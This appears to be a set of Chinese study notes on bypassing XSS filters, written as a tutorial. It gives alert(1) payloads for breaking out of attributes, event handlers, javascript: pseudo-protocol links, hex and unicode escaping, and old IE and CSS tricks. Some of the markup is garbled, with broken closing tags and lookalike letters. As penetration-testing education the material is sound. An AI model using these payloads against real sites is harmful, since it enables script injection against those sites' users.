xss其实就是HTML代码注入,恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。
document支持Native编码
test
<input type="text" name="p1" size="50" value="111"> //value中的111是输入的内容
闭合触发xss的方法
1."οnmοuseοver=alert(1)>
<input type="text" name="p1" size="50" value="" onmouseover=alert(1)>">
2."><script>alert(1)script>
<input type="text" name="p1" size="50" value="111"><script>alert(1)script>">
需要使用抓包工具
提交内容的时候使用burp抓取数据包测试
放数据包,成功执行xss
有的文本框有输入长度限制,如果xss代码太长就无法进行xss测试
maxlength属性规定输入字段允许的最大长度
<input type="text" name="p1" maxlength="15" size="30" value=""> //输入长度限制15
直接审查元素修改输入长度即可绕过
<a href="111111">111111a>//输入的内容在href里
使用伪协议
javascript:alert(1);
<a href="javascript:alert(1);">javascript:alert(1);a>
<>被实体编码
<input type="text" name="p1" size="50" value="" ><script>alert(1)<="" script>"="">
使用事件型绕过
111" οnclick=alert(1) //
使用伪协议
<a href="111111">111111a>//输入的内容在href里
使用伪协议
javascript:alert(1)
有的时候输入的字符会被替换为空
就可以使用双写绕过,或者编码绕过如:base64加密
输入的代码">
<input type="text" name="p1" size="50" value=""><script>alert(1)script>">
被过滤掉"和<>的代码
<input type="text" name="p1" size="50" value="scriptalert(1)/script">
使用IE特性绕过
IE中 两个反引号``可以闭合左边双引号
<input type="text" name="p1" size="50" value="``οnmοusemοve=alert(1);">
### 利用css特性触发xss
设置background:url 目前只有IE浏览器支持,并且IE11以上版本不在支持
background-color:#f00;background:url(javascript:alert(1)); //设置背景颜色
或
xss:expression(if(!window.x){alert(1);window.x=1;})
使用python转换成js可执行16进制
列如:<转换为16进制为\x3c
<>被过滤
使用16进制绕过,必须使用双\,使用一个\会被过滤掉
\\x3cscript\\x3ealert(1111);\\x3c/script\\x3e
unicode(统一码,万国码,单一码)
使用python将字符转换为unicode类型
使用unicode绕过,必须使用双\,使用一个\会被过滤掉
\\u003cscript\\u003ealert(1111);\\u003c/script\\u003e